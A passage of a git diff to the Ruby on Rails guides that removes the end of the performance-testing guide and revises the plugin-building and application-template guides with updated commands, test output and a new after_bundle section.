-In benchmarking mode, performance tests generate two types of outputs.
-
-##### Command Line
-
-This is the primary form of output in benchmarking mode. Example:
-
-```bash
-BrowsingTest#test_homepage (31 ms warmup)
- wall_time: 6 ms
- memory: 437.27 KB
- objects: 5,514
- gc_runs: 0
- gc_time: 19 ms
-```
-
-##### CSV Files
-
-Performance test results are also appended to `.csv` files inside `tmp/performance`.
-For example, running the default `BrowsingTest#test_homepage` will generate
-following five files:
-
-* BrowsingTest#test_homepage_gc_runs.csv
-* BrowsingTest#test_homepage_gc_time.csv
-* BrowsingTest#test_homepage_memory.csv
-* BrowsingTest#test_homepage_objects.csv
-* BrowsingTest#test_homepage_wall_time.csv
-
-As the results are appended to these files each time the performance tests are
-run in benchmarking mode, you can collect data over a period of time. This can
-be very helpful in analyzing the effects of code changes.
-
-Sample output of `BrowsingTest#test_homepage_wall_time.csv`:
-
-```bash
-measurement,created_at,app,rails,ruby,platform
-0.00738224999999992,2009-01-08T03:40:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00755874999999984,2009-01-08T03:46:18Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00762099999999993,2009-01-08T03:49:25Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00603075000000008,2009-01-08T04:03:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00619899999999995,2009-01-08T04:03:53Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00755449999999991,2009-01-08T04:04:55Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00595999999999997,2009-01-08T04:05:06Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00740450000000004,2009-01-09T03:54:47Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00603150000000008,2009-01-09T03:54:57Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-0.00771250000000012,2009-01-09T15:46:03Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
-```
-
-#### Profiling
-
-In profiling mode, performance tests can generate multiple types of outputs.
-The command line output is always presented but support for the others is
-dependent on the interpreter in use. A brief description of each type and
-their availability across interpreters is given below.
-
-##### Command Line
-
-This is a very basic form of output in profiling mode:
-
-```bash
-BrowsingTest#test_homepage (58 ms warmup)
- process_time: 63 ms
- memory: 832.13 KB
- objects: 7,882
-```
-
-##### Flat
-
-Flat output shows the metric—time, memory, etc—measure in each method.
-[Check Ruby-Prof documentation for a better explanation](http://ruby-prof.rubyforge.org/files/examples/flat_txt.html).
-
-##### Graph
-
-Graph output shows the metric measure in each method, which methods call it and
-which methods it calls. [Check Ruby-Prof documentation for a better explanation](http://ruby-prof.rubyforge.org/files/examples/graph_txt.html).
-
-##### Tree
-
-Tree output is profiling information in calltree format for use by [kcachegrind](http://kcachegrind.sourceforge.net/html/Home.html)
-and similar tools.
-
-##### Output Availability
-
-| | Flat | Graph | Tree |
-| ------------ | ---- | ----- | ---- |
-| **MRI** | yes | yes | yes |
-| **REE** | yes | yes | yes |
-| **Rubinius** | yes | yes | no |
-| **JRuby** | yes | yes | no |
-
-### Tuning Test Runs
-
-Test runs can be tuned by setting the `profile_options` class variable on your
-test class.
-
-```ruby
-require 'test_helper'
-require 'rails/performance_test_help'
-
-class BrowsingTest < ActionDispatch::PerformanceTest
- self.profile_options = { runs: 5, metrics: [:wall_time, :memory] }
-
- test "homepage"
- get '/'
- end
-end
-```
-
-In this example, the test would run 5 times and measure wall time and memory.
-There are a few configurable options:
-
-| Option | Description | Default | Mode |
-| ---------- | ------------------------------------------ | ----------------------------- | --------- |
-| `:runs` | Number of runs. | Benchmarking: 4, Profiling: 1 | Both |
-| `:output` | Directory to use when writing the results. | `tmp/performance` | Both |
-| `:metrics` | Metrics to use. | See below. | Both |
-| `:formats` | Formats to output to. | See below. | Profiling |
-
-Metrics and formats have different defaults depending on the interpreter in use.
-
-| Interpreter | Mode | Default metrics | Default formats |
-| -------------- | ------------ | ------------------------------------------------------- | ----------------------------------------------- |
-| **MRI/REE** | Benchmarking | `[:wall_time, :memory, :objects, :gc_runs, :gc_time]` | N/A |
-| | Profiling | `[:process_time, :memory, :objects]` | `[:flat, :graph_html, :call_tree, :call_stack]` |
-| **Rubinius** | Benchmarking | `[:wall_time, :memory, :objects, :gc_runs, :gc_time]` | N/A |
-| | Profiling | `[:wall_time]` | `[:flat, :graph]` |
-| **JRuby** | Benchmarking | `[:wall_time, :user_time, :memory, :gc_runs, :gc_time]` | N/A |
-| | Profiling | `[:wall_time]` | `[:flat, :graph]` |
-
-As you've probably noticed by now, metrics and formats are specified using a
-symbol array with each name [underscored.](http://api.rubyonrails.org/classes/String.html#method-i-underscore)
-
-### Performance Test Environment
-
-Performance tests are run in the `test` environment. But running performance
-tests will set the following configuration parameters:
-
-```bash
-ActionController::Base.perform_caching = true
-ActiveSupport::Dependencies.mechanism = :require
-Rails.logger.level = ActiveSupport::BufferedLogger::INFO
-```
-
-As `ActionController::Base.perform_caching` is set to `true`, performance tests
-will behave much as they do in the `production` environment.
-
-### Installing GC-Patched MRI
-
-To get the best from Rails' performance tests under MRI, you'll need to build
-a special Ruby binary with some super powers.
-
-The recommended patches for each MRI version are:
-
-| Version | Patch |
-| --------------- | --------- |
-| 1.8.6 | ruby186gc |
-| 1.8.7 | ruby187gc |
-| 1.9.2 and above | gcdata |
-
-All of these can be found on [RVM's _patches_ directory](https://github.com/wayneeseguin/rvm/tree/master/patches/ruby)
-under each specific interpreter version.
-
-Concerning the installation itself, you can either do this easily by using
-[RVM](http://rvm.beginrescueend.com) or you can build everything from source,
-which is a little bit harder.
-
-#### Install Using RVM
-
-The process of installing a patched Ruby interpreter is very easy if you let RVM
-do the hard work. All of the following RVM commands will provide you with a
-patched Ruby interpreter:
-
-```bash
-$ rvm install 1.9.2-p180 --patch gcdata
-$ rvm install 1.8.7 --patch ruby187gc
-$ rvm install 1.9.2-p180 --patch ~/Downloads/downloaded_gcdata_patch.patch
-```
-
-You can even keep your regular interpreter by assigning a name to the patched
-one:
-
-```bash
-$ rvm install 1.9.2-p180 --patch gcdata --name gcdata
-$ rvm use 1.9.2-p180 # your regular ruby
-$ rvm use 1.9.2-p180-gcdata # your patched ruby
-```
-
-And it's done! You have installed a patched Ruby interpreter.
-
-#### Install From Source
-
-This process is a bit more complicated, but straightforward nonetheless. If
-you've never compiled a Ruby binary before, follow these steps to build a
-Ruby binary inside your home directory.
-
-##### Download and Extract
-
-```bash
-$ mkdir rubygc
-$ wget <the version you want from ftp://ftp.ruby-lang.org/pub/ruby>
-$ tar -xzvf <ruby-version.tar.gz>
-$ cd <ruby-version>
-```
-
-##### Apply the Patch
-
-```bash
-$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.9.2/p180/gcdata.patch | patch -p0 # if you're on 1.9.2!
-$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.8.7/ruby187gc.patch | patch -p0 # if you're on 1.8.7!
-```
-
-##### Configure and Install
-
-The following will install Ruby in your home directory's `/rubygc` directory.
-Make sure to replace `<homedir>` with a full patch to your actual home
-directory.
-
-```bash
-$ ./configure --prefix=/<homedir>/rubygc
-$ make && make install
-```
-
-##### Prepare Aliases
-
-For convenience, add the following lines in your `~/.profile`:
-
-```bash
-alias gcruby='~/rubygc/bin/ruby'
-alias gcrake='~/rubygc/bin/rake'
-alias gcgem='~/rubygc/bin/gem'
-alias gcirb='~/rubygc/bin/irb'
-alias gcrails='~/rubygc/bin/rails'
-```
-
-Don't forget to use your aliases from now on.
-
-### Using Ruby-Prof on MRI and REE
-
-Add Ruby-Prof to your applications' Gemfile if you want to benchmark/profile
-under MRI or REE:
-
-```ruby
-gem 'ruby-prof'
-```
-
-Now run `bundle install` and you're ready to go.
-
-Command Line Tools
-------------------
-
-Writing performance test cases could be an overkill when you are looking for one
-time tests. Rails ships with two command line tools that enable quick and dirty
-performance testing:
-
-### `benchmarker`
-
-Usage:
-
-```bash
-Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS]
- -r, --runs N Number of runs.
- Default: 4
- -o, --output PATH Directory to use when writing the results.
- Default: tmp/performance
- -m, --metrics a,b,c Metrics to use.
- Default: wall_time,memory,objects,gc_runs,gc_time
-```
-
-Example:
-
-```bash
-$ rails benchmarker 'Item.all' 'CouchItem.all' --runs 3 --metrics wall_time,memory
-```
-
-### `profiler`
-
-Usage:
-
-```bash
-Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS]
- -r, --runs N Number of runs.
- Default: 1
- -o, --output PATH Directory to use when writing the results.
- Default: tmp/performance
- -m, --metrics a,b,c Metrics to use.
- Default: process_time,memory,objects
- -f, --formats x,y,z Formats to output to.
- Default: flat,graph_html,call_tree
-```
-
-Example:
-
-```bash
-$ rails profiler 'Item.all' 'CouchItem.all' --runs 2 --metrics process_time --formats flat
-```
-
-NOTE: Metrics and formats vary from interpreter to interpreter. Pass `--help` to
-each tool to see the defaults for your interpreter.
-
-Helper Methods
---------------
-
-Rails provides various helper methods inside Active Record, Action Controller
-and Action View to measure the time taken by a given piece of code. The method
-is called `benchmark()` in all the three components.
-
-### Model
-
-```ruby
-Project.benchmark("Creating project") do
- project = Project.create("name" => "stuff")
- project.create_manager("name" => "David")
- project.milestones << Milestone.all
-end
-```
-
-This benchmarks the code enclosed in the `Project.benchmark("Creating project") do...end`
-block and prints the result to the log file:
-
-```ruby
-Creating project (185.3ms)
-```
-
-Please refer to the [API docs](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark)
-for additional options to `benchmark()`.
-
-### Controller
-
-Similarly, you could use this helper method inside [controllers.](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html)
-
-```ruby
-def process_projects
- benchmark("Processing projects") do
- Project.process(params[:project_ids])
- Project.update_cached_projects
- end
-end
-```
-
-NOTE: `benchmark` is a class method inside controllers.
-
-### View
-
-And in [views](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html:)
-
-```erb
-<% benchmark("Showing projects partial") do %>
- <%= render @projects %>
-<% end %>
-```
-
-Request Logging
----------------
-
-Rails log files contain very useful information about the time taken to serve
-each request. Here's a typical log file entry:
-
-```bash
-Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]
-Rendering template within layouts/items
-Rendering items/index
-Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-```
-
-For this section, we're only interested in the last line:
-
-```bash
-Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-```
-
-This data is fairly straightforward to understand. Rails uses millisecond(ms) as
-the metric to measure the time taken. The complete request spent 5 ms inside
-Rails, out of which 2 ms were spent rendering views and none was spent
-communication with the database. It's safe to assume that the remaining 3 ms
-were spent inside the controller.
-
-Michael Koziarski has an [interesting blog post](http://www.therailsway.com/2009/1/6/requests-per-second)
-explaining the importance of using milliseconds as the metric.
-
-Useful Links
-------------
-
-### Rails Plugins and Gems
-
-* [Rails Analyzer](http://rails-analyzer.rubyforge.org)
-* [Rails Footnotes](https://github.com/josevalim/rails-footnotes/tree/master)
-* [Query Reviewer](https://github.com/nesquena/query_reviewer)
-* [MiniProfiler](http://www.miniprofiler.com)
-
-### Generic Tools
-
-* [httperf](http://www.hpl.hp.com/research/linux/httperf/)
-* [ab](http://httpd.apache.org/docs/2.2/programs/ab.html)
-* [JMeter](http://jakarta.apache.org/jmeter/)
-* [kcachegrind](http://kcachegrind.sourceforge.net/html/Home.html)
-
-### Tutorials and Documentation
-
-* [ruby-prof API Documentation](http://ruby-prof.rubyforge.org)
-* [Request Profiling Railscast](http://railscasts.com/episodes/98-request-profiling) - Outdated, but useful for understanding call graphs.
-
-Commercial Products
--------------------
-
-Rails has been lucky to have a few companies dedicated to Rails-specific
-performance tools. A couple of those are:
-
-* [New Relic](http://www.newrelic.com)
-* [Scout](http://scoutapp.com)
diff --git a/guides/source/plugins.md b/guides/source/plugins.md
index f8f04c3c67..7b7eb80081 100644
--- a/guides/source/plugins.md
+++ b/guides/source/plugins.md
@@ -3,9 +3,9 @@ The Basics of Creating Rails Plugins
A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
-* a way for developers to share bleeding-edge ideas without hurting the stable code base
-* a segmented architecture so that units of code can be fixed or updated on their own release schedule
-* an outlet for the core developers so that they don’t have to include every cool new feature under the sun
+* A way for developers to share bleeding-edge ideas without hurting the stable code base.
+* A segmented architecture so that units of code can be fixed or updated on their own release schedule.
+* An outlet for the core developers so that they don't have to include every cool new feature under the sun.
After reading this guide, you will know:
@@ -15,7 +15,7 @@ After reading this guide, you will know:
This guide describes how to build a test-driven plugin that will:
* Extend core Ruby classes like Hash and String.
-* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins.
+* Add methods to `ActiveRecord::Base` in the tradition of the `acts_as` plugins.
* Give you information about where to put generators in your plugin.
For the purpose of this guide pretend for a moment that you are an avid bird watcher.
@@ -34,15 +34,21 @@ different rails applications using RubyGems and Bundler if desired.
Rails ships with a `rails plugin new` command which creates a
- skeleton for developing any kind of Rails extension with the ability
- to run integration tests using a dummy Rails application. See usage
- and options by asking for help:
+skeleton for developing any kind of Rails extension with the ability
+to run integration tests using a dummy Rails application. Create your
+plugin with the command:
```bash
-$ rails plugin --help
+$ rails plugin new yaffle
```
-Testing your newly generated plugin
+See usage and options by asking for help:
+
+```bash
+$ rails plugin new --help
+```
+
+Testing Your Newly Generated Plugin
-----------------------------------
You can navigate to the directory that contains the plugin, run the `bundle install` command
@@ -51,7 +57,7 @@ You can navigate to the directory that contains the plugin, run the `bundle inst
You should see:
```bash
- 2 tests, 2 assertions, 0 failures, 0 errors, 0 skips
+ 1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
```
This will tell you that everything got generated properly and you are ready to start adding functionality.
@@ -68,7 +74,7 @@ In this example you will add a method to String named `to_squawk`. To begin, cre
require 'test_helper'
-class CoreExtTest < Test::Unit::TestCase
+class CoreExtTest < ActiveSupport::TestCase
def test_to_squawk_prepends_the_word_squawk
assert_equal "squawk! Hello World", "Hello World".to_squawk
end
@@ -79,19 +85,19 @@ Run `rake` to run the test. This test should fail because we haven't implemented
```bash
1) Error:
- test_to_squawk_prepends_the_word_squawk(CoreExtTest):
- NoMethodError: undefined method `to_squawk' for [Hello World](String)
- test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
+ CoreExtTest#test_to_squawk_prepends_the_word_squawk:
+ NoMethodError: undefined method `to_squawk' for "Hello World":String
+ /path/to/yaffle/test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
```
Great - now you are ready to start development.
-Then in `lib/yaffle.rb` require `lib/core_ext`:
+In `lib/yaffle.rb`, add `require 'yaffle/core_ext'`:
```ruby
# yaffle/lib/yaffle.rb
-require "yaffle/core_ext"
+require 'yaffle/core_ext'
module Yaffle
end
@@ -112,13 +118,13 @@ end
To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory.
```bash
- 3 tests, 3 assertions, 0 failures, 0 errors, 0 skips
+ 2 runs, 2 assertions, 0 failures, 0 errors, 0 skips
```
To see this in action, change to the test/dummy directory, fire up a console and start squawking:
```bash
-$ rails console
+$ bin/rails console
>> "Hello World".to_squawk
=> "squawk! Hello World"
```
@@ -126,8 +132,8 @@ $ rails console
Add an "acts_as" Method to Active Record
----------------------------------------
-A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you
-want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models.
+A common pattern in plugins is to add a method called `acts_as_something` to models. In this case, you
+want to write a method called `acts_as_yaffle` that adds a `squawk` method to your Active Record models.
To begin, set up your files so that you have:
@@ -136,14 +142,14 @@ To begin, set up your files so that you have:
require 'test_helper'
-class ActsAsYaffleTest < Test::Unit::TestCase
+class ActsAsYaffleTest < ActiveSupport::TestCase
end
```
```ruby
# yaffle/lib/yaffle.rb
-require "yaffle/core_ext"
+require 'yaffle/core_ext'
require 'yaffle/acts_as_yaffle'
module Yaffle
@@ -162,9 +168,9 @@ end
### Add a Class Method
-This plugin will expect that you've added a method to your model named 'last_squawk'. However, the
-plugin users might have already defined a method on their model named 'last_squawk' that they use
-for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'.
+This plugin will expect that you've added a method to your model named `last_squawk`. However, the
+plugin users might have already defined a method on their model named `last_squawk` that they use
+for something else. This plugin will allow the name to be changed by adding a class method called `yaffle_text_field`.
To start out, write a failing test that shows the behavior you'd like:
@@ -173,7 +179,7 @@ To start out, write a failing test that shows the behavior you'd like:
require 'test_helper'
-class ActsAsYaffleTest < Test::Unit::TestCase
+class ActsAsYaffleTest < ActiveSupport::TestCase
def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
assert_equal "last_squawk", Hickwall.yaffle_text_field
@@ -190,16 +196,16 @@ When you run `rake`, you should see the following:
```
1) Error:
- test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
+ ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
NameError: uninitialized constant ActsAsYaffleTest::Hickwall
- test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+ /path/to/yaffle/test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
2) Error:
- test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
+ ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
NameError: uninitialized constant ActsAsYaffleTest::Wickwall
- test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+ /path/to/yaffle/test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
- 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+ 4 runs, 2 assertions, 0 failures, 2 errors, 0 skips
```
This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test.
@@ -208,17 +214,16 @@ test/dummy directory:
```bash
$ cd test/dummy
-$ rails generate model Hickwall last_squawk:string
-$ rails generate model Wickwall last_squawk:string last_tweet:string
+$ bin/rails generate model Hickwall last_squawk:string
+$ bin/rails generate model Wickwall last_squawk:string last_tweet:string
```
Now you can create the necessary database tables in your testing database by navigating to your dummy app
-and migrating the database. First
+and migrating the database. First, run:
```bash
$ cd test/dummy
-$ rake db:migrate
-$ rake db:test:prepare
+$ bin/rake db:migrate
```
While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
@@ -239,7 +244,7 @@ end
```
-We will also add code to define the acts_as_yaffle method.
+We will also add code to define the `acts_as_yaffle` method.
```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
@@ -265,22 +270,22 @@ You can then return to the root directory (`cd ../..`) of your plugin and rerun
```
1) Error:
- test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
- NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8>
- /Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
- test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+ ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
+ NoMethodError: undefined method `yaffle_text_field' for #<Class:0x007fd105e3b218>
+ activerecord (4.1.5) lib/active_record/dynamic_matchers.rb:26:in `method_missing'
+ /path/to/yaffle/test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
2) Error:
- test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
- NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748>
- Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
- test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+ ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
+ NoMethodError: undefined method `yaffle_text_field' for #<Class:0x007fd105e409c0>
+ activerecord (4.1.5) lib/active_record/dynamic_matchers.rb:26:in `method_missing'
+ /path/to/yaffle/test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
- 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+ 4 runs, 2 assertions, 0 failures, 2 errors, 0 skips
```
-Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.
+Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass.
```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
@@ -304,10 +309,10 @@ end
ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
```
-When you run `rake` you should see the tests all pass:
+When you run `rake`, you should see the tests all pass:
```bash
- 5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
+ 4 runs, 4 assertions, 0 failures, 0 errors, 0 skips
```
### Add an Instance Method
@@ -321,7 +326,7 @@ To start out, write a failing test that shows the behavior you'd like:
# yaffle/test/acts_as_yaffle_test.rb
require 'test_helper'
-class ActsAsYaffleTest < Test::Unit::TestCase
+class ActsAsYaffleTest < ActiveSupport::TestCase
def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
assert_equal "last_squawk", Hickwall.yaffle_text_field
@@ -381,10 +386,14 @@ ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
Run `rake` one final time and you should see:
```
- 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
+ 6 runs, 6 assertions, 0 failures, 0 errors, 0 skips
```
-NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`.
+NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use:
+
+```ruby
+send("#{self.class.yaffle_text_field}=", string.to_squawk)
+```
Generators
----------
@@ -392,7 +401,7 @@ Generators
Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
the creation of generators can be found in the [Generators Guide](generators.html)
-Publishing your Gem
+Publishing Your Gem
-------------------
Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
@@ -405,12 +414,12 @@ gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'
After running `bundle install`, your gem functionality will be available to the application.
When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org).
-For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html)
+For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html).
RDoc Documentation
------------------
-Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
+Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
@@ -424,12 +433,12 @@ Once your README is solid, go through and add rdoc comments to all of the method
Once your comments are good to go, navigate to your plugin directory and run:
```bash
-$ rake rdoc
+$ bin/rake rdoc
```
### References
* [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md)
* [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/)
-* [Gemspec Reference](http://docs.rubygems.org/read/chapter/20)
+* [Gemspec Reference](http://guides.rubygems.org/specification-reference/)
* [GemPlugins: A Brief Introduction to the Future of Rails Plugins](http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins)
diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md
index 9e694acb98..6512b14e60 100644
--- a/guides/source/rails_application_templates.md
+++ b/guides/source/rails_application_templates.md
@@ -13,7 +13,7 @@ After reading this guide, you will know:
Usage
-----
-To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option. This can either be path to a file or a URL.
+To apply a template, you need to provide the Rails generator with the location of the template you wish to apply using the -m option. This can either be a path to a file or a URL.
```bash
$ rails new blog -m ~/template.rb
@@ -23,32 +23,33 @@ $ rails new blog -m http://example.com/template.rb
You can use the rake task `rails:template` to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL.
```bash
-$ rake rails:template LOCATION=~/template.rb
-$ rake rails:template LOCATION=http://example.com/template.rb
+$ bin/rake rails:template LOCATION=~/template.rb
+$ bin/rake rails:template LOCATION=http://example.com/template.rb
```
Template API
------------
-Rails templates API is very self explanatory and easy to understand. Here's an example of a typical Rails template:
+The Rails templates API is easy to understand. Here's an example of a typical Rails template:
```ruby
# template.rb
-run "rm public/index.html"
generate(:scaffold, "person name:string")
route "root to: 'people#index'"
rake("db:migrate")
-git :init
-git add: "."
-git commit: %Q{ -m 'Initial commit' }
+after_bundle do
+ git :init
+ git add: "."
+ git commit: %Q{ -m 'Initial commit' }
+end
```
-The following sections outlines the primary methods provided by the API:
+The following sections outline the primary methods provided by the API:
### gem(*args)
-Adds a `gem` entry for the supplied gem to the generated application’s `Gemfile`.
+Adds a `gem` entry for the supplied gem to the generated application's `Gemfile`.
For example, if your application depends on the gems `bj` and `nokogiri`:
@@ -67,7 +68,7 @@ bundle install
Wraps gem entries inside a group.
-For example, if you want to load `rspec-rails` only in `development` and `test` group:
+For example, if you want to load `rspec-rails` only in the `development` and `test` groups:
```ruby
gem_group :development, :test do
@@ -79,7 +80,7 @@ end
Adds the given source to the generated application's `Gemfile`.
-For example, if you need to source a gem from "http://code.whytheluckystiff.net":
+For example, if you need to source a gem from `"http://code.whytheluckystiff.net"`:
```ruby
add_source "http://code.whytheluckystiff.net"
@@ -92,16 +93,16 @@ Adds a line inside the `Application` class for `config/application.rb`.
If `options[:env]` is specified, the line is appended to the corresponding file in `config/environments`.
```ruby
-environment 'config.action_mailer.default_url_options = {host: 'http://yourwebsite.example.com'}, env: 'production'
+environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com"}', env: 'production'
```
A block can be used in place of the `data` argument.
### vendor/lib/file/initializer(filename, data = nil, &block)
-Adds an initializer to the generated application’s `config/initializers` directory.
+Adds an initializer to the generated application's `config/initializers` directory.
-Lets say you like using `Object#not_nil?` and `Object#not_blank?`:
+Let's say you like using `Object#not_nil?` and `Object#not_blank?`:
```ruby
initializer 'bloatlol.rb', <<-CODE
@@ -117,9 +118,9 @@ initializer 'bloatlol.rb', <<-CODE
CODE
```
-Similarly `lib()` creates a file in the `lib/` directory and `vendor()` creates a file in the `vendor/` directory.
+Similarly, `lib()` creates a file in the `lib/` directory and `vendor()` creates a file in the `vendor/` directory.
-There is even `file()`, which accepts a relative path from `Rails.root` and creates all the directories/file needed:
+There is even `file()`, which accepts a relative path from `Rails.root` and creates all the directories/files needed:
```ruby
file 'app/components/foo.rb', <<-CODE
@@ -128,7 +129,7 @@ file 'app/components/foo.rb', <<-CODE
CODE
```
-That’ll create `app/components` directory and put `foo.rb` in there.
+That'll create the `app/components` directory and put `foo.rb` in there.
### rakefile(filename, data = nil, &block)
@@ -158,10 +159,10 @@ generate(:scaffold, "person", "name:string", "address:text", "age:number")
### run(command)
-Executes an arbitrary command. Just like the backticks. Let's say you want to remove the `public/index.html` file:
+Executes an arbitrary command. Just like the backticks. Let's say you want to remove the `README.rdoc` file:
```ruby
-run "rm public/index.html"
+run "rm README.rdoc"
```
### rake(command, options = {})
@@ -180,7 +181,7 @@ rake "db:migrate", env: 'production'
### route(routing_code)
-Adds a routing entry to the `config/routes.rb` file. In above steps, we generated a person scaffold and also removed `public/index.html`. Now to make `PeopleController#index` as the default page for the application:
+Adds a routing entry to the `config/routes.rb` file. In the steps above, we generated a person scaffold and also removed `README.rdoc`. Now, to make `PeopleController#index` the default page for the application:
```ruby
route "root to: 'person#index'"
@@ -198,7 +199,7 @@ end
### ask(question)
-`ask()` gives you a chance to get some feedback from the user and use it in your templates. Lets say you want your user to name the new shiny library you’re adding:
+`ask()` gives you a chance to get some feedback from the user and use it in your templates. Let's say you want your user to name the new shiny library you're adding:
```ruby
lib_name = ask("What do you want to call the shiny library ?")
@@ -212,7 +213,7 @@ CODE
### yes?(question) or no?(question)
-These methods let you ask questions from templates and decide the flow based on the user’s answer. Lets say you want to freeze rails only if the user want to:
+These methods let you ask questions from templates and decide the flow based on the user's answer. Let's say you want to freeze rails only if the user wants to:
```ruby
rake("rails:freeze:gems") if yes?("Freeze rails gems?")
@@ -228,3 +229,38 @@ git :init
git add: "."
git commit: "-a -m 'Initial commit'"
```
+
+### after_bundle(&block)
+
+Registers a callback to be executed after the gems are bundled and binstubs
+are generated. Useful for all generated files to version control:
+
+```ruby
+after_bundle do
+ git :init
+ git add: '.'
+ git commit: "-a -m 'Initial commit'"
+end
+```
+
+The callbacks gets executed even if `--skip-bundle` and/or `--skip-spring` has
+been passed.
+
+Advanced Usage
+--------------
+
+The application template is evaluated in the context of a
+`Rails::Generators::AppGenerator` instance. It uses the `apply` action
+provided by
+[Thor](https://github.com/erikhuda/thor/blob/master/lib/thor/actions.rb#L207).
+This means you can extend and change the instance to match your needs.
+
+For example by overwriting the `source_paths` method to contain the
+location of your template. Now methods like `copy_file` will accept
+relative paths to your template's location.
+
+```ruby
+def source_paths
+ [File.expand_path(File.dirname(__FILE__))]
+end
+```
diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md
